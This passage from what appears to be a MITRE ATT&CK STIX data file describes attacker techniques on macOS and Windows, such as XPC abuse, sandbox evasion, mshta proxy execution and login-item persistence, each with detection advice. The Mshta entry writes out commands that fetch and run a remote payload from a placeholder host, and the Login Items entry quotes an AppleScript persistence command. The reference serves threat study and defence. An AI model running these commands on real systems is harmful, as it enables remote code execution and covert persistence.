                    "url": "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:47.031Z",
            "name": "XPC Services",
            "description": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Csaba Fitzl @theevilbit of Kandji"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Access"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
            "created": "2019-04-17T22:22:24.505Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1497",
                    "external_id": "T1497"
                },
                {
                    "source_name": "Unit 42 Pirpi July 2015",
                    "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:47.123Z",
            "name": "Virtualization/Sandbox Evasion",
            "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n",
            "kill_chain_phases": [
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                    "phase_name": "defense-evasion"
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                    "phase_name": "discovery"
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            "x_mitre_contributors": [
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                "Sunny Neo"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: OS API Execution"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "created": "2017-05-31T21:31:13.915Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1102",
                    "external_id": "T1102"
                },
                {
                    "source_name": "Broadcom BirdyClient Microsoft Graph API 2024",
                    "description": "Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.",
                    "url": "https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-15T19:58:47.211Z",
            "name": "Web Service",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
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                    "phase_name": "command-and-control"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Sarathkumar Rajendran, Microsoft Defender365"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
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                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "created": "2020-02-04T12:52:13.006Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/001",
                    "external_id": "T1552.001"
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                {
                    "source_name": "CG 2014",
                    "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
                    "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html"
                },
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
                },
                {
                    "source_name": "Unit 42 Unsecured Docker Daemons",
                    "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"
                },
                {
                    "source_name": "Specter Ops - Cloud Credential Storage",
                    "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.",
                    "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48"
                },
                {
                    "source_name": "SRD GPP",
                    "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
                    "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
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            "modified": "2025-04-15T19:58:47.301Z",
            "name": "Credentials In Files",
            "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)",
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                    "phase_name": "credential-access"
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            ],
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            "x_mitre_contributors": [
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                "Jay Chen, Palo Alto Networks",
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee",
                "Microsoft Threat Intelligence Center (MSTIC)"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
            "created": "2020-03-11T14:56:34.154Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1568/003",
                    "external_id": "T1568.003"
                },
                {
                    "source_name": "Meyers Numbered Panda",
                    "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                    "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
                },
                {
                    "source_name": "Moran 2014",
                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                },
                {
                    "source_name": "Rapid7G20Espionage",
                    "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.",
                    "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
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            "modified": "2025-04-25T14:47:18.343Z",
            "name": "DNS Calculation",
            "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
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            "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "created": "2020-01-23T19:32:49.557Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/005",
                    "external_id": "T1218.005"
                },
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
                },
                {
                    "source_name": "Red Canary HTA Abuse Part Deux",
                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
                },
                {
                    "source_name": "FireEye Attacks Leveraging HTA",
                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
                },
                {
                    "source_name": "Airbus Security Kovter Analysis",
                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
                    "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "source_name": "Wikipedia HTML Application",
                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTML_Application"
                },
                {
                    "source_name": "MSDN HTML Applications",
                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
                },
                {
                    "source_name": "LOLBAS Mshta",
                    "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:47:18.707Z",
            "name": "Mshta",
            "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "@ionstorm",
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
                "Ricardo Dias"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
            "created": "2021-10-05T21:26:15.081Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/015",
                    "external_id": "T1547.015"
                },
                {
                    "source_name": "Adding Login Items",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
                },
                {
                    "source_name": "Launch Service Keys Developer Apple",
                    "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1"
                },
                {
                    "source_name": "Launch Services Apple Developer",
                    "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.",
                    "url": "https://developer.apple.com/documentation/coreservices/launch_services"
                },
                {
                    "source_name": "Login Items AE",
                    "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.",
                    "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788"
                },
                {
                    "source_name": "Open Login Items Apple",
                    "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.",
                    "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac"
                },
                {
                    "source_name": "hexed osx.dok analysis 2019",
                    "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html"
                },
                {
                    "source_name": "ELC Running at startup",
                    "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.",
                    "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/"
                },
                {
                    "source_name": "Startup Items Eclectic",
                    "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.",
                    "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/"
                },
                {
                    "source_name": "Add List Remove Login Items Apple Script",
                    "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.",
                    "url": "https://gist.github.com/kaloprominat/6111584"
                },
                {
                    "source_name": "CheckPoint Dok",
                    "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.",
                    "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/"
                },
                {
                    "source_name": "objsee block blocking login items",
                    "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x31.html"
                },
                {
                    "source_name": "objsee netwire backdoor 2019",
                    "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x44.html"
                },
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                },
                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
                },
                {
                    "source_name": "SMLoginItemSetEnabled Schroeder 2013",
                    "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:47.788Z",
            "name": "Login Items",
            "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\n\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in <code>Contents/Library/LoginItems</code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0",
            "created": "2021-03-17T20:04:09.331Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608",
                    "external_id": "T1608"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
                },
                {
                    "source_name": "Netskope GCP Redirection",
                    "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
                },
                {
                    "source_name": "Netskope Cloud Phishing",
                    "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "DigiCert Install SSL Cert",
                    "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
                    "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
                },
                {
                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                },
                {
                    "source_name": "Malwarebytes Heroku Skimmers",
                    "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
                    "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
                },
                {
                    "source_name": "Dragos Heroku Watering Hole",
                    "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
                    "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:12:21.613Z",
            "name": "Stage Capabilities",
